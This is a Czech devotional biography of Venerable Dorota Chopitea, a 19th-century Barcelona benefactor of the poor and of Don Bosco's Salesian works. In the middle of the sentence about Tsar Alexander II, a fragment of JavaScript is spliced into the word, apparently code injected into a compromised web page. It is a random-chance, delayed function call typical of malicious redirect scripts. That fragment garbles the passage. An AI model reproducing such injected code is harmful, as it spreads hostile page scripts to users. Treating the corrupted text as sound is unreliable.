Ct. Dorota Chopitea

vdova

 Žila v letech: 1816–1891

Narodila se 5. června 1816 v Santiagu v Čile. Rodina byla bohatá nejen na víru, ale i na děti a materiální zázemí. Po třech letech se přestěhovali do Barcelony.

Dorota měla energický charakter, byla živá, chápající, ale co nejvíc, měla srdce ze zlata. V 16 letech se provdala za vynikajícího mladíka, Josefa Serra, obchodníka a bankéře. Jejich láska rostla každým dnem, byli věrným a šťastným párem po 50 let. V jejich lásce se narodilo šest dětí: Dorota, Anna Marie, Isabela, Maria Luisa, Carmen a Gesuina. Jako inteligentní společnice svého manžela, který byl slavným a váženým obchodníkem, stála při něm, když prožíval úspěch, i ve chvílích nejistoty a nezdaru. Když cestoval do ciziny, Dorota šla s ním. Spolu s ním byla v Rusku za vlády cara Alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra II., v Itálii, když byla při moci savojská královská rodina, a v Římě za papeže Lva XIII. 62letou paní Dorotu doprovázela neteř Izidora Ponsová, která při procesu kanonizace svědčila: „Přijal ji papež. Udělalo to na mě veliký dojem, s jakou úctou se papež vůči tetě choval. Daroval jí dokonce svou bílou papežskou čepici.“

Štíhlá postava, pevná a rozhodná povaha. Právě charakter byl bojištěm, na kterém paní Dorota bojovala po celý život. Snažila se být pokorná a vyrovnaná, což jí od přírody chybělo. Jak silné byly její výbuchy, tak silná byla i vůle žít v Boží přítomnosti, protože jedině před Bohem se dá objevit a žít opravdový rozměr života. Do svých duchovních poznámek si napsala: „Vynaložím všechno úsilí na to, abych své skutky hned od rána konala pro Pána Boha. Bez vážného důvodu nevynechám rozjímání a duchovní čtení. Udělám dvacet sebezáporů denně a stejný počet skutků lásky k Bohu. Všechno budu dělat s Bohem a pro Boha a často si budu obnovovat čistý úmysl… Slibuji Bohu, že svůj úmysl budu při každé činnosti očisťovat.“

Nejsilnější je její láska ke všem, zvláště k těm nejchudším: „Chudí, ti budou mou první myšlenkou.“ Nazývali jí „žebračka Boží“. Na třicet organizací vyšlo z její a manželovy dobročinnosti: azylové domy, školky, školy, nemocnice, laboratoře, řemeslnické a umělecké dílny…

20. září 1882, měsíc po manželově smrti jako 66letá píše Donu Boskovi: „Chtěla bych založit institut pro mladé řemeslníky a pro sirotky na předměstí v Barceloně. Don Bosco přijímá. V roce 1884 pomýšlí založit mateřskou školu, kterou chce svěřit Institutu Dcer Panny Marie Pomocnice, protože bylo zapotřebí postarat se o děti z předměstí.

Poslední dílo, které dala salesiánské rodině, byla škola svaté Doroty. Svěřila ji salesiánkám. Na její zakoupení chybělo 70.000 pesos, které darovala se slovy: „Bůh chce, abych byla chudá.“

Ta, kterou Don Bosco nazýval „naše maminka z Barcelony“, zemřela chudá 3. května 1891. Je pohřbena v Barceloně Sarriá.

Papež Jan Pavel II. ji 9. 6. 1983 prohlásil za ctihodnou, t.j. za křesťanku, která hrdinsky praktikovala lásku k Bohu a k bližnímu.